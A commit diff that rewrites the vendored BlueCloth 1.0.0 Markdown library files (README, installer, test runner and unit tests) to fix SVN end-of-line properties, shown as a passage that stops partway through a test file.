Massive change of SVN properties to deal with EOL style problem
This commit is contained in:
parent
b747b611b3
commit
3b6566577c
108 changed files with 12417 additions and 12417 deletions
198
vendor/bluecloth-1.0.0/README
vendored
198
vendor/bluecloth-1.0.0/README
vendored
|
@ -1,99 +1,99 @@
|
|||
|
||||
BlueCloth
|
||||
=========
|
||||
|
||||
Version 1.0.0 - 2004/08/24
|
||||
|
||||
Original version by John Gruber <http://daringfireball.net/>.
|
||||
Ruby port by Michael Granger <http://www.deveiate.org/>.
|
||||
|
||||
BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
|
||||
tool for web writers. To quote from the project page: Markdown allows you to
|
||||
write using an easy-to-read, easy-to-write plain text format, then convert it to
|
||||
structurally valid XHTML (or HTML).
|
||||
|
||||
It borrows a naming convention and several helpings of interface from
|
||||
[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
|
||||
conversion syntax called [Textile][4].
|
||||
|
||||
|
||||
Installation
|
||||
------------
|
||||
|
||||
You can install this module either by running the included `install.rb` script,
|
||||
or by simply copying `lib/bluecloth.rb` to a directory in your load path.
|
||||
|
||||
|
||||
Dependencies
|
||||
------------
|
||||
|
||||
BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
|
||||
with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
|
||||
versions, and the `logger` library, which is also included in 1.8.x and later.
|
||||
|
||||
|
||||
Example Usage
|
||||
-------------
|
||||
|
||||
The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
|
||||
|
||||
bc = BlueCloth::new( str )
|
||||
puts bc.to_html
|
||||
|
||||
This `README` file is an example of Markdown syntax. The sample program
|
||||
`bluecloth` in the `bin/` directory can be used to convert this (or any other)
|
||||
file with Markdown syntax into HTML:
|
||||
|
||||
$ bin/bluecloth README > README.html
|
||||
|
||||
|
||||
Acknowledgements
|
||||
----------------
|
||||
|
||||
This library is a port of the canonical Perl one, and so owes most of its
|
||||
functionality to its author, John Gruber. The bugs in this code are most
|
||||
certainly an artifact of my porting it and not an artifact of the excellent code
|
||||
from which it is derived.
|
||||
|
||||
It also, as mentioned before, borrows its API liberally from RedCloth, both for
|
||||
compatibility's sake, and because I think Why's code is beautiful. His excellent
|
||||
code and peerless prose have been an inspiration to me, and this module is
|
||||
intended as the sincerest flattery.
|
||||
|
||||
Also contributing to any success this module may enjoy are those among my peers
|
||||
who have taken the time to help out, either by submitting patches, testing, or
|
||||
offering suggestions and review:
|
||||
|
||||
* Martin Chase <stillflame@FaerieMUD.org>
|
||||
* Florian Gross <flgr@ccan.de>
|
||||
|
||||
|
||||
Author/Legal
|
||||
------------
|
||||
|
||||
Original version:
|
||||
Copyright (c) 2003-2004 John Gruber
|
||||
<http://daringfireball.net/>
|
||||
All rights reserved.
|
||||
|
||||
Ruby version:
|
||||
Copyright (c) 2004 The FaerieMUD Consortium
|
||||
|
||||
BlueCloth is free software; you can redistribute it and/or modify it under the
|
||||
terms of the GNU General Public License as published by the Free Software
|
||||
Foundation; either version 2 of the License, or (at your option) any later
|
||||
version.
|
||||
|
||||
BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
|
||||
|
||||
[1]: http://daringfireball.net/projects/markdown/
|
||||
[2]: http://www.whytheluckystiff.net/ruby/redcloth/
|
||||
[3]: http://www.whytheluckystiff.net/
|
||||
[4]: http://www.textism.com/tools/textile/
|
||||
|
||||
|
||||
$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $
|
||||
|
||||
BlueCloth
|
||||
=========
|
||||
|
||||
Version 1.0.0 - 2004/08/24
|
||||
|
||||
Original version by John Gruber <http://daringfireball.net/>.
|
||||
Ruby port by Michael Granger <http://www.deveiate.org/>.
|
||||
|
||||
BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
|
||||
tool for web writers. To quote from the project page: Markdown allows you to
|
||||
write using an easy-to-read, easy-to-write plain text format, then convert it to
|
||||
structurally valid XHTML (or HTML).
|
||||
|
||||
It borrows a naming convention and several helpings of interface from
|
||||
[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
|
||||
conversion syntax called [Textile][4].
|
||||
|
||||
|
||||
Installation
|
||||
------------
|
||||
|
||||
You can install this module either by running the included `install.rb` script,
|
||||
or by simply copying `lib/bluecloth.rb` to a directory in your load path.
|
||||
|
||||
|
||||
Dependencies
|
||||
------------
|
||||
|
||||
BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
|
||||
with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
|
||||
versions, and the `logger` library, which is also included in 1.8.x and later.
|
||||
|
||||
|
||||
Example Usage
|
||||
-------------
|
||||
|
||||
The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
|
||||
|
||||
bc = BlueCloth::new( str )
|
||||
puts bc.to_html
|
||||
|
||||
This `README` file is an example of Markdown syntax. The sample program
|
||||
`bluecloth` in the `bin/` directory can be used to convert this (or any other)
|
||||
file with Markdown syntax into HTML:
|
||||
|
||||
$ bin/bluecloth README > README.html
|
||||
|
||||
|
||||
Acknowledgements
|
||||
----------------
|
||||
|
||||
This library is a port of the canonical Perl one, and so owes most of its
|
||||
functionality to its author, John Gruber. The bugs in this code are most
|
||||
certainly an artifact of my porting it and not an artifact of the excellent code
|
||||
from which it is derived.
|
||||
|
||||
It also, as mentioned before, borrows its API liberally from RedCloth, both for
|
||||
compatibility's sake, and because I think Why's code is beautiful. His excellent
|
||||
code and peerless prose have been an inspiration to me, and this module is
|
||||
intended as the sincerest flattery.
|
||||
|
||||
Also contributing to any success this module may enjoy are those among my peers
|
||||
who have taken the time to help out, either by submitting patches, testing, or
|
||||
offering suggestions and review:
|
||||
|
||||
* Martin Chase <stillflame@FaerieMUD.org>
|
||||
* Florian Gross <flgr@ccan.de>
|
||||
|
||||
|
||||
Author/Legal
|
||||
------------
|
||||
|
||||
Original version:
|
||||
Copyright (c) 2003-2004 John Gruber
|
||||
<http://daringfireball.net/>
|
||||
All rights reserved.
|
||||
|
||||
Ruby version:
|
||||
Copyright (c) 2004 The FaerieMUD Consortium
|
||||
|
||||
BlueCloth is free software; you can redistribute it and/or modify it under the
|
||||
terms of the GNU General Public License as published by the Free Software
|
||||
Foundation; either version 2 of the License, or (at your option) any later
|
||||
version.
|
||||
|
||||
BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
|
||||
|
||||
[1]: http://daringfireball.net/projects/markdown/
|
||||
[2]: http://www.whytheluckystiff.net/ruby/redcloth/
|
||||
[3]: http://www.whytheluckystiff.net/
|
||||
[4]: http://www.textism.com/tools/textile/
|
||||
|
||||
|
||||
$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $
|
||||
|
|
300
vendor/bluecloth-1.0.0/install.rb
vendored
300
vendor/bluecloth-1.0.0/install.rb
vendored
|
@ -1,150 +1,150 @@
|
|||
#!/usr/bin/ruby
|
||||
#
|
||||
# BlueCloth Module Install Script
|
||||
# $Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# Thanks to Masatoshi SEKI for ideas found in his install.rb.
|
||||
#
|
||||
# Copyright (c) 2001-2004 The FaerieMUD Consortium.
|
||||
#
|
||||
# This is free software. You may use, modify, and/or redistribute this
|
||||
# software under the terms of the Perl Artistic License. (See
|
||||
# http://language.perl.com/misc/Artistic.html)
|
||||
#
|
||||
|
||||
require './utils.rb'
|
||||
include UtilityFunctions
|
||||
|
||||
require 'rbconfig'
|
||||
include Config
|
||||
|
||||
require 'find'
|
||||
require 'ftools'
|
||||
|
||||
|
||||
$version = %q$Revision: 1.1 $
|
||||
$rcsId = %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
|
||||
# Define required libraries
|
||||
RequiredLibraries = [
|
||||
# libraryname, nice name, RAA URL, Download URL
|
||||
[ 'strscan', "StrScan",
|
||||
'http://raa.ruby-lang.org/list.rhtml?name=strscan',
|
||||
'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
|
||||
[ 'logger', "Devel-Logger",
|
||||
'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
|
||||
'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
|
||||
]
|
||||
|
||||
class Installer
|
||||
|
||||
@@PrunePatterns = [
|
||||
/CVS/,
|
||||
/~$/,
|
||||
%r:(^|/)\.:,
|
||||
/\.tpl$/,
|
||||
]
|
||||
|
||||
def initialize( testing=false )
|
||||
@ftools = (testing) ? self : File
|
||||
end
|
||||
|
||||
### Make the specified dirs (which can be a String or an Array of Strings)
|
||||
### with the specified mode.
|
||||
def makedirs( dirs, mode=0755, verbose=false )
|
||||
dirs = [ dirs ] unless dirs.is_a? Array
|
||||
|
||||
oldumask = File::umask
|
||||
File::umask( 0777 - mode )
|
||||
|
||||
for dir in dirs
|
||||
if @ftools == File
|
||||
File::mkpath( dir, $verbose )
|
||||
else
|
||||
$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
|
||||
end
|
||||
end
|
||||
|
||||
File::umask( oldumask )
|
||||
end
|
||||
|
||||
def install( srcfile, dstfile, mode=nil, verbose=false )
|
||||
dstfile = File.catname(srcfile, dstfile)
|
||||
unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
|
||||
$stderr.puts " install #{srcfile} -> #{dstfile}"
|
||||
else
|
||||
$stderr.puts " skipping #{dstfile}: unchanged"
|
||||
end
|
||||
end
|
||||
|
||||
public
|
||||
|
||||
def installFiles( src, dstDir, mode=0444, verbose=false )
|
||||
directories = []
|
||||
files = []
|
||||
|
||||
if File.directory?( src )
|
||||
Find.find( src ) {|f|
|
||||
Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
|
||||
next if f == src
|
||||
|
||||
if FileTest.directory?( f )
|
||||
directories << f.gsub( /^#{src}#{File::Separator}/, '' )
|
||||
next
|
||||
|
||||
elsif FileTest.file?( f )
|
||||
files << f.gsub( /^#{src}#{File::Separator}/, '' )
|
||||
|
||||
else
|
||||
Find.prune
|
||||
end
|
||||
}
|
||||
else
|
||||
files << File.basename( src )
|
||||
src = File.dirname( src )
|
||||
end
|
||||
|
||||
dirs = [ dstDir ]
|
||||
dirs |= directories.collect {|d| File.join(dstDir,d)}
|
||||
makedirs( dirs, 0755, verbose )
|
||||
files.each {|f|
|
||||
srcfile = File.join(src,f)
|
||||
dstfile = File.dirname(File.join( dstDir,f ))
|
||||
|
||||
if verbose
|
||||
if mode
|
||||
$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
|
||||
else
|
||||
$stderr.puts "Install #{srcfile} -> #{dstfile}"
|
||||
end
|
||||
end
|
||||
|
||||
@ftools.install( srcfile, dstfile, mode, verbose )
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if $0 == __FILE__
|
||||
header "BlueCloth Installer #$version"
|
||||
|
||||
for lib in RequiredLibraries
|
||||
testForRequiredLibrary( *lib )
|
||||
end
|
||||
|
||||
viewOnly = ARGV.include? '-n'
|
||||
verbose = ARGV.include? '-v'
|
||||
|
||||
debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
|
||||
sitelibdir = CONFIG['sitelibdir']
|
||||
debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
|
||||
sitearchdir = CONFIG['sitearchdir']
|
||||
|
||||
message "Installing\n"
|
||||
i = Installer.new( viewOnly )
|
||||
i.installFiles( "lib", sitelibdir, 0444, verbose )
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# BlueCloth Module Install Script
|
||||
# $Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# Thanks to Masatoshi SEKI for ideas found in his install.rb.
|
||||
#
|
||||
# Copyright (c) 2001-2004 The FaerieMUD Consortium.
|
||||
#
|
||||
# This is free software. You may use, modify, and/or redistribute this
|
||||
# software under the terms of the Perl Artistic License. (See
|
||||
# http://language.perl.com/misc/Artistic.html)
|
||||
#
|
||||
|
||||
require './utils.rb'
|
||||
include UtilityFunctions
|
||||
|
||||
require 'rbconfig'
|
||||
include Config
|
||||
|
||||
require 'find'
|
||||
require 'ftools'
|
||||
|
||||
|
||||
$version = %q$Revision: 1.1 $
|
||||
$rcsId = %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
|
||||
# Define required libraries
|
||||
RequiredLibraries = [
|
||||
# libraryname, nice name, RAA URL, Download URL
|
||||
[ 'strscan', "StrScan",
|
||||
'http://raa.ruby-lang.org/list.rhtml?name=strscan',
|
||||
'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
|
||||
[ 'logger', "Devel-Logger",
|
||||
'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
|
||||
'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
|
||||
]
|
||||
|
||||
class Installer
|
||||
|
||||
@@PrunePatterns = [
|
||||
/CVS/,
|
||||
/~$/,
|
||||
%r:(^|/)\.:,
|
||||
/\.tpl$/,
|
||||
]
|
||||
|
||||
def initialize( testing=false )
|
||||
@ftools = (testing) ? self : File
|
||||
end
|
||||
|
||||
### Make the specified dirs (which can be a String or an Array of Strings)
|
||||
### with the specified mode.
|
||||
def makedirs( dirs, mode=0755, verbose=false )
|
||||
dirs = [ dirs ] unless dirs.is_a? Array
|
||||
|
||||
oldumask = File::umask
|
||||
File::umask( 0777 - mode )
|
||||
|
||||
for dir in dirs
|
||||
if @ftools == File
|
||||
File::mkpath( dir, $verbose )
|
||||
else
|
||||
$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
|
||||
end
|
||||
end
|
||||
|
||||
File::umask( oldumask )
|
||||
end
|
||||
|
||||
def install( srcfile, dstfile, mode=nil, verbose=false )
|
||||
dstfile = File.catname(srcfile, dstfile)
|
||||
unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
|
||||
$stderr.puts " install #{srcfile} -> #{dstfile}"
|
||||
else
|
||||
$stderr.puts " skipping #{dstfile}: unchanged"
|
||||
end
|
||||
end
|
||||
|
||||
public
|
||||
|
||||
def installFiles( src, dstDir, mode=0444, verbose=false )
|
||||
directories = []
|
||||
files = []
|
||||
|
||||
if File.directory?( src )
|
||||
Find.find( src ) {|f|
|
||||
Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
|
||||
next if f == src
|
||||
|
||||
if FileTest.directory?( f )
|
||||
directories << f.gsub( /^#{src}#{File::Separator}/, '' )
|
||||
next
|
||||
|
||||
elsif FileTest.file?( f )
|
||||
files << f.gsub( /^#{src}#{File::Separator}/, '' )
|
||||
|
||||
else
|
||||
Find.prune
|
||||
end
|
||||
}
|
||||
else
|
||||
files << File.basename( src )
|
||||
src = File.dirname( src )
|
||||
end
|
||||
|
||||
dirs = [ dstDir ]
|
||||
dirs |= directories.collect {|d| File.join(dstDir,d)}
|
||||
makedirs( dirs, 0755, verbose )
|
||||
files.each {|f|
|
||||
srcfile = File.join(src,f)
|
||||
dstfile = File.dirname(File.join( dstDir,f ))
|
||||
|
||||
if verbose
|
||||
if mode
|
||||
$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
|
||||
else
|
||||
$stderr.puts "Install #{srcfile} -> #{dstfile}"
|
||||
end
|
||||
end
|
||||
|
||||
@ftools.install( srcfile, dstfile, mode, verbose )
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if $0 == __FILE__
|
||||
header "BlueCloth Installer #$version"
|
||||
|
||||
for lib in RequiredLibraries
|
||||
testForRequiredLibrary( *lib )
|
||||
end
|
||||
|
||||
viewOnly = ARGV.include? '-n'
|
||||
verbose = ARGV.include? '-v'
|
||||
|
||||
debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
|
||||
sitelibdir = CONFIG['sitelibdir']
|
||||
debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
|
||||
sitearchdir = CONFIG['sitearchdir']
|
||||
|
||||
message "Installing\n"
|
||||
i = Installer.new( viewOnly )
|
||||
i.installFiles( "lib", sitelibdir, 0444, verbose )
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
2288
vendor/bluecloth-1.0.0/lib/bluecloth.rb
vendored
2288
vendor/bluecloth-1.0.0/lib/bluecloth.rb
vendored
File diff suppressed because it is too large
Load diff
234
vendor/bluecloth-1.0.0/test.rb
vendored
234
vendor/bluecloth-1.0.0/test.rb
vendored
|
@ -1,117 +1,117 @@
|
|||
#!/usr/bin/ruby
|
||||
#
|
||||
# Test suite for BlueCloth classes
|
||||
# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
|
||||
BEGIN {
|
||||
$basedir = File::dirname( __FILE__ )
|
||||
["lib", "tests", "redist"].each do |subdir|
|
||||
$LOAD_PATH.unshift File::join( $basedir, subdir )
|
||||
end
|
||||
|
||||
require "#{$basedir}/utils"
|
||||
include UtilityFunctions
|
||||
}
|
||||
|
||||
verboseOff {
|
||||
require 'bctestcase'
|
||||
require 'find'
|
||||
require 'test/unit'
|
||||
require 'test/unit/testsuite'
|
||||
require 'test/unit/ui/console/testrunner'
|
||||
require 'optparse'
|
||||
}
|
||||
|
||||
# Turn off output buffering
|
||||
$stderr.sync = $stdout.sync = true
|
||||
$DebugPattern = nil
|
||||
|
||||
# Initialize variables
|
||||
safelevel = 0
|
||||
patterns = []
|
||||
requires = []
|
||||
|
||||
# Parse command-line switches
|
||||
ARGV.options {|oparser|
|
||||
oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
|
||||
|
||||
oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
|
||||
"Turn debugging on (for tests which match PATTERN)" ) {|arg|
|
||||
if arg
|
||||
$DebugPattern = Regexp::new( arg )
|
||||
puts "Turned debugging on for %p." % $DebugPattern
|
||||
else
|
||||
$DEBUG = true
|
||||
debugMsg "Turned debugging on globally."
|
||||
end
|
||||
}
|
||||
|
||||
oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
|
||||
$VERBOSE = true
|
||||
debugMsg "Turned verbose on."
|
||||
}
|
||||
|
||||
# Handle the 'help' option
|
||||
oparser.on( "--help", "-h", "Display this text." ) {
|
||||
$stderr.puts oparser
|
||||
exit!(0)
|
||||
}
|
||||
|
||||
oparser.parse!
|
||||
}
|
||||
|
||||
# Parse test patterns
|
||||
ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
|
||||
$stderr.puts "#{patterns.length} patterns given on the command line"
|
||||
|
||||
### Load all the tests from the tests dir
|
||||
Find.find("#{$basedir}/tests") {|file|
|
||||
Find.prune if /\/\./ =~ file or /~$/ =~ file
|
||||
Find.prune if /TEMPLATE/ =~ file
|
||||
next if File.stat( file ).directory?
|
||||
|
||||
unless patterns.empty?
|
||||
Find.prune unless patterns.find {|pat| pat =~ file}
|
||||
end
|
||||
|
||||
debugMsg "Considering '%s': " % file
|
||||
next unless file =~ /\.tests.rb$/
|
||||
debugMsg "Requiring '%s'..." % file
|
||||
require "#{file}"
|
||||
requires << file
|
||||
}
|
||||
|
||||
$stderr.puts "Required #{requires.length} files."
|
||||
unless patterns.empty?
|
||||
$stderr.puts "[" + requires.sort.join( ", " ) + "]"
|
||||
end
|
||||
|
||||
# Build the test suite
|
||||
class BlueClothTests
|
||||
class << self
|
||||
def suite
|
||||
suite = Test::Unit::TestSuite.new( "BlueCloth" )
|
||||
|
||||
if suite.respond_to?( :add )
|
||||
ObjectSpace.each_object( Class ) {|klass|
|
||||
suite.add( klass.suite ) if klass < BlueCloth::TestCase
|
||||
}
|
||||
else
|
||||
ObjectSpace.each_object( Class ) {|klass|
|
||||
suite << klass.suite if klass < BlueCloth::TestCase
|
||||
}
|
||||
end
|
||||
|
||||
return suite
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Run tests
|
||||
$SAFE = safelevel
|
||||
Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start
|
||||
|
||||
|
||||
|
||||
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Test suite for BlueCloth classes
|
||||
# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
|
||||
BEGIN {
|
||||
$basedir = File::dirname( __FILE__ )
|
||||
["lib", "tests", "redist"].each do |subdir|
|
||||
$LOAD_PATH.unshift File::join( $basedir, subdir )
|
||||
end
|
||||
|
||||
require "#{$basedir}/utils"
|
||||
include UtilityFunctions
|
||||
}
|
||||
|
||||
verboseOff {
|
||||
require 'bctestcase'
|
||||
require 'find'
|
||||
require 'test/unit'
|
||||
require 'test/unit/testsuite'
|
||||
require 'test/unit/ui/console/testrunner'
|
||||
require 'optparse'
|
||||
}
|
||||
|
||||
# Turn off output buffering
|
||||
$stderr.sync = $stdout.sync = true
|
||||
$DebugPattern = nil
|
||||
|
||||
# Initialize variables
|
||||
safelevel = 0
|
||||
patterns = []
|
||||
requires = []
|
||||
|
||||
# Parse command-line switches
|
||||
ARGV.options {|oparser|
|
||||
oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
|
||||
|
||||
oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
|
||||
"Turn debugging on (for tests which match PATTERN)" ) {|arg|
|
||||
if arg
|
||||
$DebugPattern = Regexp::new( arg )
|
||||
puts "Turned debugging on for %p." % $DebugPattern
|
||||
else
|
||||
$DEBUG = true
|
||||
debugMsg "Turned debugging on globally."
|
||||
end
|
||||
}
|
||||
|
||||
oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
|
||||
$VERBOSE = true
|
||||
debugMsg "Turned verbose on."
|
||||
}
|
||||
|
||||
# Handle the 'help' option
|
||||
oparser.on( "--help", "-h", "Display this text." ) {
|
||||
$stderr.puts oparser
|
||||
exit!(0)
|
||||
}
|
||||
|
||||
oparser.parse!
|
||||
}
|
||||
|
||||
# Parse test patterns
|
||||
ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
|
||||
$stderr.puts "#{patterns.length} patterns given on the command line"
|
||||
|
||||
### Load all the tests from the tests dir
|
||||
Find.find("#{$basedir}/tests") {|file|
|
||||
Find.prune if /\/\./ =~ file or /~$/ =~ file
|
||||
Find.prune if /TEMPLATE/ =~ file
|
||||
next if File.stat( file ).directory?
|
||||
|
||||
unless patterns.empty?
|
||||
Find.prune unless patterns.find {|pat| pat =~ file}
|
||||
end
|
||||
|
||||
debugMsg "Considering '%s': " % file
|
||||
next unless file =~ /\.tests.rb$/
|
||||
debugMsg "Requiring '%s'..." % file
|
||||
require "#{file}"
|
||||
requires << file
|
||||
}
|
||||
|
||||
$stderr.puts "Required #{requires.length} files."
|
||||
unless patterns.empty?
|
||||
$stderr.puts "[" + requires.sort.join( ", " ) + "]"
|
||||
end
|
||||
|
||||
# Build the test suite
|
||||
class BlueClothTests
|
||||
class << self
|
||||
def suite
|
||||
suite = Test::Unit::TestSuite.new( "BlueCloth" )
|
||||
|
||||
if suite.respond_to?( :add )
|
||||
ObjectSpace.each_object( Class ) {|klass|
|
||||
suite.add( klass.suite ) if klass < BlueCloth::TestCase
|
||||
}
|
||||
else
|
||||
ObjectSpace.each_object( Class ) {|klass|
|
||||
suite << klass.suite if klass < BlueCloth::TestCase
|
||||
}
|
||||
end
|
||||
|
||||
return suite
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Run tests
|
||||
$SAFE = safelevel
|
||||
Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
142
vendor/bluecloth-1.0.0/tests/00_Class.tests.rb
vendored
142
vendor/bluecloth-1.0.0/tests/00_Class.tests.rb
vendored
|
@ -1,71 +1,71 @@
|
|||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for the BlueCloth class object
|
||||
# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class BlueClothClassTestCase < BlueCloth::TestCase
|
||||
|
||||
TestString = "foo"
|
||||
|
||||
def test_00_class_constant
|
||||
printTestHeader "BlueCloth: Class Constant"
|
||||
|
||||
assert Object::constants.include?( "BlueCloth" ),
|
||||
"No BlueCloth constant in Object"
|
||||
assert_instance_of Class, BlueCloth
|
||||
end
|
||||
|
||||
def test_01_instantiation
|
||||
printTestHeader "BlueCloth: Instantiation"
|
||||
rval = nil
|
||||
|
||||
# With no argument... ("")
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal "", rval
|
||||
|
||||
# String argument
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new TestString
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
|
||||
addSetupBlock {
|
||||
debugMsg "Creating a new BlueCloth"
|
||||
@obj = BlueCloth::new( TestString )
|
||||
}
|
||||
addTeardownBlock {
|
||||
@obj = nil
|
||||
}
|
||||
end
|
||||
|
||||
def test_02_duplication
|
||||
printTestHeader "BlueCloth: Duplication"
|
||||
rval = nil
|
||||
|
||||
assert_nothing_raised {
|
||||
rval = @obj.dup
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for the BlueCloth class object
|
||||
# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
### This test case tests ...
|
||||
class BlueClothClassTestCase < BlueCloth::TestCase
|
||||
|
||||
TestString = "foo"
|
||||
|
||||
def test_00_class_constant
|
||||
printTestHeader "BlueCloth: Class Constant"
|
||||
|
||||
assert Object::constants.include?( "BlueCloth" ),
|
||||
"No BlueCloth constant in Object"
|
||||
assert_instance_of Class, BlueCloth
|
||||
end
|
||||
|
||||
def test_01_instantiation
|
||||
printTestHeader "BlueCloth: Instantiation"
|
||||
rval = nil
|
||||
|
||||
# With no argument... ("")
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal "", rval
|
||||
|
||||
# String argument
|
||||
assert_nothing_raised {
|
||||
rval = BlueCloth::new TestString
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
|
||||
addSetupBlock {
|
||||
debugMsg "Creating a new BlueCloth"
|
||||
@obj = BlueCloth::new( TestString )
|
||||
}
|
||||
addTeardownBlock {
|
||||
@obj = nil
|
||||
}
|
||||
end
|
||||
|
||||
def test_02_duplication
|
||||
printTestHeader "BlueCloth: Duplication"
|
||||
rval = nil
|
||||
|
||||
assert_nothing_raised {
|
||||
rval = @obj.dup
|
||||
}
|
||||
assert_instance_of BlueCloth, rval
|
||||
assert_kind_of String, rval
|
||||
assert_equal TestString, rval
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
|
3054
vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb
vendored
3054
vendor/bluecloth-1.0.0/tests/05_Markdown.tests.rb
vendored
File diff suppressed because it is too large
Load diff
114
vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb
vendored
114
vendor/bluecloth-1.0.0/tests/10_Bug.tests.rb
vendored
|
@ -1,57 +1,57 @@
|
|||
#!/usr/bin/ruby
|
||||
#
|
||||
# Unit test for bugs found in BlueCloth
|
||||
# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
|
||||
#
|
||||
# Copyright (c) 2004 The FaerieMUD Consortium.
|
||||
#
|
||||
|
||||
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
|
||||
basedir = File::dirname( __FILE__ )
|
||||
require File::join( basedir, 'bctestcase' )
|
||||
end
|
||||
|
||||
|
||||
require 'timeout'
|
||||
|
||||
### This test case tests ...
|
||||
class BugsTestCase < BlueCloth::TestCase
|
||||
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
|
||||
|
||||
### Test to be sure the README file can be transformed.
|
||||
def test_00_slow_block_regex
|
||||
contents = File::read( File::join(BaseDir,"README") )
|
||||
bcobj = BlueCloth::new( contents )
|
||||
|
||||
assert_nothing_raised {
|
||||
